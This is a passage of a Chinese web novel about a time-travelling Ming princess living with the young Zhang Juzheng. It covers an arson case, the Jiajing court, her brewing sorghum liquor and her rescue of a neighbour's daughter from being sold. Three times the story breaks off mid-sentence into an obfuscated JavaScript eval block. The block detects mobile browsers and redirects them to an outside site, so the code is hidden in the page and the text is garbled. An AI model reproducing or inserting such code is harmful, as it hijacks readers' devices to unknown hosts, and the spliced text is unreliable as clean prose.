“把这贼的嘴堵住,带回衙门,好生拷打!” 被指到的两个人只能屏住呼吸接近,正要拿抹布封口时,他突然张了嘴:“在辽王府。” “一定……咳咳咳……在辽王府。” “你们去查啊!哈哈哈!咳咳咳咳咳……” ……这么巧,还真在姓朱的那里啊。 但这种狂悖之语衙门里听见了也只能当没听见,不然他们难道还敢敲王府的门进去抓贼吗? 衙役把人押进牢里,不管三七二十一先打了一通杀威棒。这贼显然也不是什么硬骨头,几棍子下去问什么答什么,只是满口胡话。 他说自己叫李二,是仇鸾府上的护卫,放火之事是仇鸾身边一位叫侯荣的幕僚安排的。说事成之后必有厚报,还为他们安排好了去辽王府避难。可惜他这个倒霉鬼吹了一天风病倒了,那边就把他扔在废草屋自生自灭。 简直荒唐!仇鸾怎么会派人烧自己住的房子?他又不是得了失心疯? 于是刑房又把衙门里的立枷搬出来——那是长木棍钉出来的笼子,上窄下宽,把犯人关进去后,往脖子上套一个两三百斤重的枷,头吊在枷上,只能脚尖着地踩在笼底。 这法子是先帝在位时权倾朝野的大太监刘瑾造出来的,锦衣卫诏狱常借此逼供。刘公公虽然以谋反罪被割成了3357片,立枷却从诏狱流行到地方。 身体好的尚且撑不住一天,本就重病的陈二更是放进去没多久就断了气,只能让尸体接着站满一天。 仇鸾如今兵临城下,虽然他手无敕谕,不敢硬来,但假如……假如这李二的胡话里有一点真,那辽王府护卫说不定早和仇大将军勾搭成奸了,里应外合,荆州城岂不危在旦夕? 县令提心吊胆地暗派人手盯着辽王府守城的兵士,一直到换了班,也毫无异样。反倒是城外仇鸾的兵马终于撤走了。 果然只是疯言疯语。 他不信,连嬅却有种莫名的直觉:她相信这个贼犯所言不虚。 如果仇鸾真的和辽王府暗中有往来,那辽王府护卫还可信吗?仇鸾或许不是自己派人烧房子,但假如他手下有人另为其主呢? 张居正对她的猜测不置可否:“眼见为实。东门下午由王府护卫看管,我们看了便知。” 现在看来,事实好像真不站在她这边。 张居正合上书,被她望眼欲穿的神色逗得一乐:“怎么你好像巴不得仇鸾进城的样子?” “也不是……”,连嬅挠挠鼻尖,纠结又惆怅,“他还是走远点好。” “天色晚了,我们回家吧。”张居正站起身,把茶钱结了,然后偏过头看她,“这回你能在家里乖乖待几天吗?” 18. 第 18 章 仇鸾的兵马退了,新任知府到任了,纵火的乱贼虽然只抓到一个,还胡言乱语地死了,但案子勉强能结了。 连日来坐卧不安的县令终于能抖擞精神,继续过太平日子了。 他总觉得,这应当是自己许多天虔心修道,敬拜各路祖师爷的功劳。 但要向府衙上报,总不能写神仙发功吧?他就算想把功劳全往自己身上揽,也得考虑身边的佐贰官——县丞。 明代官衙是“大小相制,内外相维”,其监察系统规模极其庞大。中央有都察院,六部有六科给事中,还设有通政使司搜集舆情,上传下达。地方上有十三道监察御史,同时由都察院派遣总督、巡抚、巡按等与地方互相制约。这些言官品级未必多高,如六科给事中仅为正七品,权利却大到可以封驳奏章。 县令掌管着县丞的考评,县丞头上却也有另一个靠山——巡按御史。巡按和六科给事中一样,只是七品芝麻官,却有弹劾各州县主官的权利。 江陵县的县丞一贯欣赏张居正,这回县里大乱,他临危不惧,亲往辽王府借调兵力,可谓雪中送炭。其弟亦是英雄出少年,为县衙抓捕凶犯提供了关键线索…… 明年就是秋闱,江陵县很快要出一个十六岁的举人了。这样的少年天才,正可趁此机会拉拢一番——至于他弟弟,完全是个添头。 所以说人比人,气死人。想想范进没中举时,一个落第秀才,连卖肉的老丈人都看不起他。再看看人家张秀才,十五岁的年纪,已经是荆州府风云人物。 ——不过范进五十四岁才中举,张居正五十四岁时已经生杀予夺、大权独握了。 作为添头的连嬅乖乖跟在她哥身后,走过仪门,绕过影壁,终于到了衙门后堂。 这里大约是县令待客的地方。 门柱左右各刻了一行字,“所取所用,民脂民膏”,顶上挂着一块匾额,上书“清正廉明”四字。 ……怎么这么有讽刺意味呢。 县令不在主位,而是落座于左首。那堂前坐着的显然是比县令级别更高的官吏。连嬅悄悄瞥了一眼,见此人面生,留着斑白的山羊胡,国字脸,约摸四五十岁的样子,有了一个大胆的猜测。 ——他不会就是荆州的新任知府,李元阳吧。 李元阳是云南白族人,看样貌特征,确实与汉族有些不同之处。他在荆州府干了两年后弃官回乡,从此隐居于大理四十年。官场生涯没有多少值得大书特书的,倒是在理学方面颇有建树,被称作滇中“理学巨儒”。 连嬅对王阳明的心学理论都云里雾里,对李元阳的“性、心、意、情”说更没有什么兴趣,倒是看了几封留存下来的、他与张居正的往来书信。 隆庆六年,张居正代高拱为内阁首辅,加左柱国、进中极殿大学士,裁决一切军政大事——他正要开启一个属于自己的时代。在《答李中溪有道尊师》里,他对李元阳剖白心志,“愿以身心奉尘刹,不于自身求利益”,又说自己此时“如入火聚,得清凉门”。 他已决心将整个生命献与国家,因此只有前进,没有后退,只有牺牲,没有畏缩。 此时与彼时,历史与现实,连嬅恍惚了一瞬,又很快回神。 县令殷切笑着,介绍道:“这位是——” 李元阳却主动开口,打断了他的话:“敝姓李,大理府人。” ……果然是他。 张居正躬身行礼:“李先生,在下江陵县秀才张居正。” 连嬅也福身行礼,怕自己的名字露馅,特意用微弱、模糊又畏怯的声音自我介绍:“民女连嬅,见过先生。” 李元阳微微颔首还礼,目光上下打量着张居正,气度卓然,的确是个挺拔俊秀的少年——似乎完全没在意他身后那个低着头声如蚊呐的小孩。 倒是县令和几位吏目显得颇为吃惊,没想到这个身手矫健的小童竟是个女孩。 “‘食哉惟时,柔远能迩,惇德允元,而难任人,蛮夷率服’,何解?” 这是《尚书》里舜呼十二州之牧而告之的话,对于熟读四书五经的秀才来说,约等于送分题。 张居正寻思立就,侃侃答曰:“牧民之道,当使民足食,而足食之道,在不违农时。须轻徭薄赋,使民得以尽力于农亩事。民食既足,教化可兴。夫安民之道,固在于知人用贤,然则众君子成之不足,一小人坏之有余。所以帝舜之命十二牧,既说亲近君子,又叫提防小人。所谓圣人远虑也。”[注1] 李元阳捋捋胡须,露出微笑,而后视线一低,看向连嬅。 ……要不你还是把我忘了吧。 身为一个可悲的古代文盲,被老师点名回答问题,却头脑一片空白、不知所云的感觉真的很恐怖,尤其是对连嬅这种从小被绩优主义洗脑的学生来说。 好在李先生也没有拿四书五经考校一个小小女童的想法,他语气温和地问:“我听说前几日纵火案的主犯是你提供线索抓到的。你是怎么找出那人藏身之处的?” 连嬅低着头,眼观鼻鼻观口口观心,像供述犯罪事实一样一五一十地说了个清楚。 李元阳点点头:“倒是个心细的。你为朝廷破案,理当论功行赏。可有什么想要的?” 一个穿着旧布衫、腼腆朴素的小娘子,还只有十岁出头,最渴望的估计也只是衣裳首饰、脂粉钗环之类的吧。 他家里有个小女儿,和连嬅差不多大的年纪,正是天真烂漫、无忧无虑的时候。 “先生,”连嬅思索片刻,觉得李元阳应该比县衙这些人靠谱,“我家左邻有位三十岁上下的妇人,叫做明春,已经失踪多日了。” 李元阳目光一凛,看向县令,县令赶忙看向承发房的司吏:“许承发,有这回事吗?” 承发房是县里管考勤、放告、文书上传及下发的衙门,在县衙里地位甚至高于管人事的吏房。比如谁有冤要申、或有官司要打,须得先给承发房塞银子,不然人家就把你的案子挪到最后,拖个一年半载 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777756|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管。 许承发额头冒汗,战战兢兢地说:“禀堂尊,下官近几日没接到过失踪案啊。” “她丈夫是个赌鬼,不管人的。她女儿和我一般大,不敢来报官。”连嬅急忙补充。 李元阳沉吟片刻,问她:“你想好了?” 这可是个很宝贵的机会。她可以换掉不合身的旧衫,穿上漂亮的新袄裙,也可以要些昂贵的珠宝首饰、胭脂水粉装扮自己,或者暂时没想到需要什么,还可以直接开口要些金银赏钱。 而找人,还是一个和自己关联不大的人,若是能找到,多少结个善缘,若是找不到,那就是竹篮子打水一场空。 ——可是人命关天。 邻居们都觉得明春多半是偷偷跑了。她毕竟年轻漂亮,凭什么要把后半辈子锁在一个赌鬼身上?更何况家里连个儿子也没有,更没得盼头。 但连嬅不相信她会这么丢下自己的女儿——这是个挨打时也要用身体护住孩子的母亲。她自己身上青青紫紫,没一块好皮肉,珍娘却没挨过一次打。 这几天吴敬儒很反常地一直在家,还把女儿看在家里,不许她出门。昨天夜里,趁着他睡着,吴珍娘悄悄爬上院墙,见了连嬅一面。 她红着眼眶,怯生生地求道:“连阿姊,我娘一直没回来,你能不能帮我报官?” 就县衙的情况,报官和不报官能有多大区别?但为了让珍娘安心,连嬅还是点头答应了。 ——没关系,江陵县衙不管,还有荆州府衙。李元阳是个正直为民的好官,他一定能找到人的。 把仇鸾送来江陵的是一道敕谕,把他送走的自然是另一道敕谕。 陆炳将李元阳送到荆州府后,没有多做停留,先去了荆州卫的营城私见仇鸾。 皇上自从出了湖广,便常常梦到母亲蒋太后。他自登极后十四载,只得了连嬅一个女儿。陈皇后无力抚养,生育不久崩逝,这孩子就在蒋太后身边长大。她聪明伶俐,虽然顽皮些,却格外讨喜,一直是太后的心尖肉。 蒋太后的灵柩尚未归葬,她最宠爱的长孙女却不见了,乃至于频频托梦,魂魄不安。 嘉靖召来陶仲文占卜,问皇长女的下落。仲文以碗盛水,置钱其中,上架界尺,放龟板,然后用三一丸灼烧,再以水泼之,龟甲皲裂有声。 裂纹呈现为均匀的十字,乃大吉之兆。 证明皇女殿下贵人天象,逢凶化吉,并无性命之忧。 嘉靖转转手里的核桃,叫来陆炳。 “咸宁侯去了多久?” “回禀皇上,半月有余。” “陕西有骚乱,朕欲派咸宁侯为甘肃总兵。” 陆炳心领神会:“臣愿领锦衣卫寻觅皇女殿下行踪。” 嘉靖微微颔首:“切勿声张。” 堂堂大明的皇女,被山贼掳走,失踪近一个月,这说出去岂不是扇皇室的耳光? 然后他磕了下核桃,又加一句:“活要见人,死要见尸。” 19. 第 19 章 四月十五日,圣驾回銮,留守大臣率文武百官俱吉服,奉迎章义关外——这是大明皇帝最后一次巡幸京师以外的地方。 除太祖、成祖外,自英宗巡狩土木堡,败于蒙古瓦剌,五十多万士兵死伤大半,皇帝被俘,北京被围,国运险些夭折后,大明的皇帝就很少出巡了。武宗是一个奇葩,他不遵体统,自封威武大将军朱寿,一会儿北狩宣府,一会儿南巡平乱,结果回京时意外落水,死于正德十六年,留下了大明皇帝易溶于水的传说,却没留下一个继承皇位的儿子。 嘉靖这场千里南巡虽说意外颇多,但幸好只是起火,没有落水,还是平安还朝了。 他回乾清宫后,正准备把一路上伺候不周到、朝见怠慢的地方官员拟个表通通惩治了,再把谏止南巡的几位言官下镇抚司诏狱拷训,殿外忽然有人求见。 乾清宫掌事太监高忠把人领了进来,正是原本在仁寿宫伺候公主身边的内侍——慎微。 他穿着一身青白的道袍,朝皇帝跪了个五体投地:“陛下,大喜啊!” “蕴真道长产卵了!” 蕴真道长何许人也? 其实根本不是人。 皇长女六岁生辰时,曾有藩王献白龟以贺寿。众所周知,嘉靖道长就喜欢这些白化物种,什么白雁白鹤白龟白猫,都是祥瑞,是大明江山稳固、陛下天命所归的象征。 这只白龟养在仁寿宫多年,一直没什么动静,今日突然产卵,倒正赶上皇帝回京。 嘉靖少有地喜形于色,起身一拍手:“好!好啊!叫群臣都上贺表!” 他在御案处来回走了几圈,才想起地上还跪了个等赏的,遂停住脚步,唇角带笑,语意深长地夸了句:“你倒乖觉。” 龟房一直是仁寿宫掌事太监冯喜看管。 慎微赶忙又磕了个头,他还沉浸在巨大的惊喜和兴奋中,脸颊通红:“冯公公事忙,奴婢想着早点给皇上报个喜。” “忠心可嘉。”嘉靖点点头,随手一挥,“就赏你到承天府陪伴旧主吧。” 慎微脸上的兴奋终于凝固了。他还没想明白自己哪句话说错了,要被赶出紫禁城。但圣意已决,他只得诚惶诚恐地再磕一个头:“谢皇上隆恩。” 知道皇长女处于失踪状态的除了皇帝、随行的太监高忠、黄锦、大学士夏言、武定侯郭勋、锦衣卫指挥使陆炳、咸宁侯仇鸾外,就只有皇女身边的三个贴身宫女。连皇后和几位皇妃都不知情。 国朝以孝立天下。虽说嘉靖把年龄尚幼的女儿独自留于承天府一事略显荒唐,但考虑到皇长女与献太后多年的情分,她主动为祖母守陵,也是一片拳拳之心。 慎微领赏退下,殿内又只剩嘉靖与高忠。 “朕打算给玉奴取个封号——‘玉安’二字如何?” 玉奴是献太后为连嬅取的小名。 高忠唯唯附和:“皇上圣明。可怜天下父母心,殿下吉人自有天相,往后必定平安顺遂。” “……但愿如此。”嘉靖叹口气,低声喃喃,“母后在天之灵,也可安息了。” 作为本朝有史以来第一位、活着的、尚未到出嫁年龄便喜获封号的公主,朱连嬅的排场真是拉满了。她和她养的乌龟成了近几天朝堂的中心人物,雪花般堆叠的奏章除了庆贺神龟产卵,就是坚决反对提前册封公主,认为有违祖制的。 但自从“大礼议”之后,嘉靖想做的事就没有做不成的。他把闹得最凶、声音最大的两位言官抓进了镇抚司诏狱,杀鸡儆猴,以儆效尤,反对声就偃旗息鼓了。 几位知悉内情的近臣都认为皇女殿下凶多吉少,皇上痛失爱女,又不愿面对现实,封个公主聊以慰藉罢了,没人敢提反对触嘉靖的霉头。 圣旨很快发往承天府。由于玉安公主暂时无法露面,册封仪式定在公主守陵三年期满,回到顺天府后举行。 远在荆州府的玉安公主本人对这则喜讯毫不知情,但她最近也有件大喜事——继接连手搓失败的肥皂与黑/火/药之后,她的酒曲发酵竟然还挺顺利。 没有变黄,也没有出现黑点或霉斑,闻着气味清香,比连嬅上辈子做的高中生物课作业还要完美。接下来只需要通风晾干,磨成粉就能用了。 有了酒曲,还需要粮食,最好的材料自然是高粱。可惜连嬅走遍了市场也只买到两三斤,还是运气好,碰到了从江津逃难来的商户——这是他们路上吃剩下的。 高粱在明代前中期并不受待见。 原因也很简单,明代的高粱烧酒,直到中后期才渐渐发展起来。而作为粮食,虽然高梁适应能力非常强,既耐旱又抗涝,盐碱地也能生长,但是不好吃。 不好吃就是原罪。高粱里有一种叫单宁的成分,口感苦涩,极易凝结,还不抗饿。 连嬅指明想买高粱时,店老板还劝了她一句:“小公子买这作甚,苦得很呢。” 明代最重要的农作物其实是稻,按《天工开物》的记载,水稻养活了全国百分之七十的人口,小麦、大麦、黄米和小米等占据剩下的百分之三十。 连嬅抱着她珍贵的一小袋高粱,在城内各家酒坊逛了一圈,做市场调查的同时深感大明酒业之繁盛。什么黄酒米酒是最常见的,还有桑葚酒、梨酒、葡萄酒这种果酒,有枸杞酒、茵陈酒、青蒿酒、虎骨酒这种药酒,还有些名字稀奇古怪的,什么金盆露水、红灰酒、霹雳酒…… ——确实没有烧酒。 好消息:市场一片空白!坏消息:供应链也一片空白! 但江陵县自古以来就是长江上游的重镇,襟带江沔,首尾吴蜀,往来商贾颇多。由于地处要冲,交通便利,成了八省物资集散地。此地还有个专门的税课司,负责收缴抽分税。但凡经由荆州码头的粮食、木料、布匹等物资,均按货值抽税。 如果烧酒能快速在江陵一带火起来,那原材料完全可以依靠“进口”。 问题在于,不到三斤的高粱能酿出多少酒? 按照现代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782112|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酿造工艺估算的话,百分之六十五的出酒率,也就一斤。 连嬅在灶房里蒸着高粱思考着,显然烧酒只能走高端路线了,但究竟怎样做饥饿营销才能把这仅仅一斤的烧酒打出名号? ——大麦还挺容易买到的,要不先试试啤酒? ——那酒曲就完全没用了。需要把大麦浸泡发芽,然后晒干磨成粉,加水煮沸,糖化后加啤酒花一起煮,冷却后再加酵母进行发酵。 问题是,在一个连啤酒都没有的年代,要去哪里找啤酒花这种植物啊! 连嬅看着灶火,长叹了一口气。 想赚点钱怎么这么难! 按明中期的货币价值,一两银子购买力大概等于一千块。前几天雇佣流民打探消息的钱是张居正出的,她手里“捡来”的三十两银子还没动过,也就是大约三万块的启动资金。 其实她也没有要发大财的野望,只是上辈子一生都很关键,卷出了惯性,很难适应现在吃了睡无所事事的生活。但要跟赵夫人一起做绣活,她又能把十根手指戳个遍…… 如果有个班上就好了。 一个多月前,加班加到要猝死的连嬅绝对想不到她还有这一天。上辈子被裁员时,她底气很足,此处不留爷,自有留爷处,一个压榨员工的狗公司不待也罢。现在她走遍大明朝,都绝对找不到一个愿意雇佣女人的正经公司。 写代码什么的指望不了,其实她还略懂一点财务,进个铺子当账房绝对绰绰有余,但哪家店肯信任一个身长五尺的小丫头片子! 高粱差不多蒸熟了,连嬅灭了火,把东西放一边晾着。酒曲用量比例大约是粮食的千分之七八,也就是十克左右,拿调羹盛半勺吗? 正估计着,忽然听见外面凄厉的哭喊声,她心里一紧,从灶房跑出来。 门外巷道里,站着穿麻布长袍的吴敬儒,还有一个穿锦缎的中年男人,身宽体胖,脑袋很大,手里摇着一把折扇,整个人油光满面的。 地上还跪了一个哭得声嘶力竭的吴珍娘。 周围的街坊邻居都跑出来看热闹,七嘴八舌地嗡嗡着,看吴珍娘的目光都带着几分同情。 吴敬儒搓着手,和面对连嬅时横眉冷对的样子简直像两个人。他笑得格外谄媚:“安掌柜的,这个,人我找回来了……价钱还是之前说好的三十两吧?” 安掌柜弯下腰,拿扇子想挑起吴珍娘的脸,被人偏头躲了过去。他啧啧两声,很不满地说:“这脸又黄又瘦的,也太干巴了,一点福相没有!” 吴敬儒恶狠狠踹了女儿一脚:“叫你平时挑食!看长成这鬼样子!” 然后他又换上哀戚的神色:“掌柜的,珍娘一直是小人最疼爱的女儿,要不是家里实在揭不开锅,小人哪舍得和她骨肉分离……这孩子就是挑食了一点,吃饱了饭肯定能肥起来。她娘就长得很有福相的!” 安掌柜绕着珍娘转了两步,像挑猪肉一样一脸嫌弃:“这头发也黄得很!我看二十两都算多的!” 20. 第 20 章 吴珍娘瘫坐在地上哀哭着:“娘——” 一出声就被她爹揪着头发扇了一巴掌:“你娘早死外边了,天天叫魂!” 周围的街坊邻居一阵唏嘘。 “哎,多可怜见,这小姑娘家的。娘跑了,她爹又是个赌鬼。” “要是卖到富贵人家,说不得也是条出路呢,总好过饭都吃不饱。” 世道艰难,多的是活不下去的人,卖儿鬻女算不上新鲜。逢上灾年了,俩儿子都换不来一只鹅。只不过吴敬儒毕竟是个秀才,有功名在身,做这种事实在有辱斯文,多少会遭人指点。 “春娘也真是,自己跑了,不想想孩子怎么活?” “这话咋说,带个拖油瓶还怎么跑啊!” “都是乡里乡亲的,要不咱们借点……”一个穿着翠青色布袍的男人踌躇着说。 话音未落,他老婆已经柳眉倒竖,揪住了他的耳朵:“姓王的,别以为老娘不知道你打得什么主意,你以为你借几个钱,人家春娘回来了能多看你两眼?我呸!人家早攀上高枝儿了,看得上你这仨瓜俩枣!” 吴家在街坊四邻里没什么好名声,男的是个赌鬼就不提了,女的也是个花枝招展的狐狸精。苍蝇不叮无缝的蛋,她老出去抛头露面,弄得巷子里天天有些猥琐闲汉跑来晃荡,可见是个不安分的。 流言蜚语听得吴敬儒脸都绿了,他又踹一脚珍娘,吼道:“都是你乱跑!真是丢人现眼!” 连嬅实在看不下去,拨开前面挡路的几个妇人,站在珍娘身前,抬头怒视着吴敬儒:“你把她卖了多少钱?” 一颗小豆芽也跑出来伸张正义了?吴敬儒不耐烦地伸手一推,想把这小孩赶去一边,结果竟然没推动。他急着赚钱还赌债,不想多纠缠:“这是吴某的家务事,你是哪家的,也跑过来掺和,叫你爹娘赶紧领回去!” 连嬅浑身的血都往头上涌,脱口而出:“不就是三十两吗,以为谁出不起!” 反正是不义之财,能拿来救人一命也是胜造七级浮屠了。连嬅咬咬牙接着说:“我要开酒馆,正缺人手。三十两雇你女儿干一年活,你答不答应?” 围观群众炸开了,想不到张府这么有钱,一个小姑娘都能如此阔绰,随手掏三十两雇人!那可是整整三十两银子啊,足够普通家庭生活三五年的! 珍娘本来已经哭不出声音,听了这话,啊一声叫,爬过来抱住连嬅的小腿:“阿姊,你手里有钱是不是,你救救我吧,我……我给你洗衣做饭,烧火劈柴,我吃得很少……呜呜……你别让我爹把我卖了,我娘要是回来了,就找不见我了……” 吴敬儒瞪大了眼睛,看傻子一样打量着连嬅:“你说真的?” 连嬅梗着脖子回应:“当然!” 一旁看戏的安掌柜没料到会碰见人傻钱多的冤大头截胡,一下子慌了神:“哎,咱们之前不是议好了,你这送女文书都写了……” 但一个是买断合同,一个是租赁合同,还只租一年,是个人都知道选哪个更赚。 连嬅把人带回了自己的耳房,然后对着空荡荡只剩一根铁管的包袱深深叹了口气。 ——火铳,能卖钱吗? 算了,她还不想吃大明的牢饭。 花钱容易赚钱难,酒馆还没开起来,本金就先用完了,真是“先帝创业未半而中道崩殂”、“奈何取之尽锱铢,用之如泥沙”[注]…… 吴珍娘一副怯生生的小媳妇相,谈论自己的身价:“其实,刚刚那个安掌柜只肯出二十两不到……” 连嬅瞪她一眼:“你不早说!” “我……我吓懵了。昨天晚上本来我偷偷跑掉了,去衙门报官找我娘,又被他们送给我爹了。” 没奈何,在大明,子女就是父母的私人财产,跑去天涯海角你还是你爹的孩子。除非逃难当一辈子黑户,不然碰到什么好心人,也是一样被送回家。 吴珍娘扁扁嘴,没压住好奇心:“阿姊,你什么时候开的酒馆啊?哪里赚的这么多钱?” ——打家劫舍。 ——要不然再干一票大的,赚点本金? ——不不不,我是遵纪守法好公民!不想落草为寇,当什么梁山好汉的。 “酒馆嘛,可能暂时开不起来了……” 想开只能先借钱,看有没有哪位天使投资人对她的项目感兴趣,来一个A轮融资。 ——比如张居正? 俗话说,羊毛不能逮着一只羊薅。但是赵夫人辛苦做绣活也就赚一点补贴家用的钱,张镇和张文明只把她当小屁孩,要是听了她创业办酒馆的想法,估计笑两声就把她打发了——运气好的话,可能会收获几颗糖。 那张居正有钱吗? 实话实说,有点,但不多。 明代也有奖学金,只不过名额很少,府学限四十人,州学三十人,县学二十人。像张居正这种家境比较一般的天才少年,自然是拿奖学金的,但也不过“每人月给廪米六斗”。 一斗米大约十八斤,也就是一个月108斤米。 按现在的物价,大米一石约合五钱银子,一两等于十钱,一石等于十斗,张居正一个月也就三钱银子。 这么点微薄的身家,连嬅开口去借都觉得脸红。 ——可是好像没有第二个选择。 自己在张家白吃白住就算了,还花钱带一个一起白吃白住。虽然赵夫人心善,听了吴珍娘的事,愿意留她在家里,可张家又不是什么大富大贵,哪有慷他人之慨还能心安理得的? 得赚钱啊! 送走一个仇鸾,荆州府学前些日子终于修整好重新开学,张居正再次回到逢初一十五放假才回家的住宿生活。可能学神都有共性,他放假是不爱带着书本的,即使偶尔有课业要做,家里的书也尽够了——但这次却找同窗借了三本杂记。 王之诰故作惊讶地调侃他:“天上下红雨了,张神童怎么也看起闲书了?” 张居正笑一笑,没有多做解释:“下个月还你。” “又不值钱,送你也无妨。”王之诰大方地挥挥手,附带一句告诫,“不过明年就是乡试,这种书可偶尔一翻,不可多看,免得看乱了。” 这书当然不是他自己看,而是给连嬅借的。 想她在家里待着也是憋闷,除了炼丹画符——还有一身奇怪的功夫,什么琴棋书画样样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790730|157358||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不通,跟着娘学刺绣能把好好的孔雀绣成肥鸭,甚至戳出十个血洞……还是看点杂书吧。 起码比较安全。 他背着书脚步轻快地往家走,也不知道连嬅喜不喜欢看,但据说这几本都挺畅销,还是王之诰的珍藏——至少应该比《周礼》有趣。三本够看一个月吗?不够的话,他半个月放一次假,还可以再带几本新的。 这么胡思乱想着,不知不觉走到家门前的巷道。坐在门槛上撑着头发呆的小姑娘看见他,眼睛微微睁大,然后陡然亮起来,“噌”一下站起身,两只手提着裙子朝他跑来。 ——有点像府学里那只喜欢绕着他转的小狗。 张居正故意端起神色,装作很冷淡的样子,嘴角却带着笑:“无事献殷勤?” “哈、哈。”连嬅眨眨眼,干笑两声,扯他的袖子,眸光仍然发亮,“哥,我研究出一样好东西,你快来看看!” 那三斤高粱好不容易酿出来不到一斤酒,实在舍不得给别人尝。正好赶上张居正放假,连嬅从中午吃过饭就开始坐在门口等,盼了半天总算把人盼回来了。 这年头市面上盛行的都是低度黄酒,比如《水浒传》里施耐庵写武松打虎之前喝了十八碗酒,还是号称“三碗不过岗”的烈酒。明代的蒸馏酒虽然有了一些发展,但和连嬅捣鼓的纯粮固态发酵蒸馏烧酒还是相差甚远。 家里没有喝高度白酒用的小杯,她只好拿个小碗盛了一点碗底。酒精特殊的清香混合着高粱发酵带来的复杂香型在屋内飘散开,张居正轻挑眉头,诧异过后忍不住兴致盎然:“你自己酿的?” 连嬅满怀期待地看着他,点点头。 但她男神并没有顺应她的目光,立刻端起碗尝一尝,反而两手一叉,搭在桌上。 “说吧,又惹什么事了。” ……哪里来的“又”! “也不能叫惹事吧。”连嬅低下头,悄悄瞥他一眼,然后清清嗓子,“我救了一个人,就是隔壁家的珍娘。” 然后她把自己路见不平,出钱相助的事仔细描绘了一番,重点突出珍娘有多可怜,三十两银子能换一条命多么值得。 张居正不解地问:“你都出三十两了,怎么不直接买下,还扯什么雇一年?” 呃……人口买卖是违法的! “你知道三十两究竟是多少钱吗?” 连嬅忍不住反驳:“可是人命无价啊!” 张居正被她的大义凛然噎住了,难得头疼得捏了捏额角。他现在怀疑这个妹妹在道观待久了,与世隔绝,连基本的金钱观都没有。 “我不是和你说这个。”他并不愿意和一个天真烂漫的孩子探讨一口人——尤其是像她这个年纪的小女孩究竟值多少钱,思忖片刻,问:“那个买人的安掌柜,有什么特征?” “特征?脑袋大,脖子粗……”连嬅回忆着,忽然想起什么,“他手里有把折扇!” “折扇?”张居正看起来不大理解。 难道这时候折扇还不叫折扇吗?连嬅用自己贫瘠的语文功底努力描述:“就是那种很多道褶,可以折起来的扇子,上面还画了图。” “你是说倭扇?” 21. 第 21 章 江陵虽然地处南北通衢,但毕竟是内陆地区,像倭扇倭刀这种舶来品,得是既富且贵的才有路子买到。县里有姓安的缙绅大户吗?好像没有印象…… 张居正一沉默,连嬅就忍不住胡思乱想。 一把平平无奇的折扇,竟然还是进口货。难不成那个安掌柜还和倭寇有来往?倭患都闹到湖北来了? 戚继光呢?她算了下时间,绝望地发现戚帅比她还小几个月……俞大猷倒是三十多岁,正值当打之年,但一直处于郁郁不得志阶段,此时大概在金门一带抗倭? 在她正打算把谭纶、胡宗宪、王崇古等人都拉出来琢磨人生轨迹之前,张居正终于开了口。 “你这几天……可曾见到什么奇怪的人?” 连嬅愣了一下,一对圆溜溜的杏眼里写满“何出此言”四个大字。 她这几天除了研究高粱烧酒,还发酵了一点醪糟做小吃。每天早上煮一锅醪糟玉米汤,跟珍娘一起拉到集市上卖——本来打算做醪糟鸡蛋汤的,谁知道鸡蛋七八文钱一个,实在高攀不起。 ——等攒的钱够买鸡苗了,她一定要养一窝! 换成玉米汤后,成本就低得多,一碗甜酒五文钱,起码能赚四文。连嬅还别出心裁地推出了十五文自助畅饮活动——这东西含水量极高,正常人喝个四五碗膀胱就得告急了。即使碰上武松那种水桶,她也不一定亏,甚至还能赚点诚信经营、老板大气的名声。 反正自助的旗号打出来,顾客既觉得新奇,又觉得自己赚了。附近的酒馆虽然对她扰乱市场卷低价的行为颇为忿忿,但她们毕竟只卖早上,一桶甜酒售完即止。小打小闹罢了,犯不着大动干戈。 要说有什么奇怪的人——今早有个傻子花三两银子包了一整桶。这一桶才不到两百升,按一碗五百毫升算,零卖约二两银子。没见过有人打包还主动加价的,可能连小学数学的基础都没有。连嬅想着坑冤大头也别坑太狠,连着木桶一块儿送了。 “总之,如果碰到陌生人,还是小心点——” “嗯嗯,不和陌生人说话,不跟陌生人走,不要吃陌生人给的食物。”花三十两银子雇了一个十二岁小姑娘当一年工的冤大头,睁着那双澄澈见底的眼睛,很认真地说:“我真的没有那么傻。” 张居正简直要被逗笑了。他敲了下连嬅的脑门:“你知道就好。” 卖甜酒只能赚点小钱,但珍娘对此已经很满意了。她每天收摊都要把赚来的铜钱来来回回数三遍,笑得眼睛眯成一条缝,再放进钱罐里。但连嬅看不上这点小钱,想走高端路线割韭菜,那就得讲故事摆产品拉投资。 她推了推桌上的酒碗,示意张居正尝尝。 这次张居正总算没推拒,他端起碗,浅抿了一小口,然后深深拧起眉头,没说好,也没说不好,只是重新把碗放了回去。 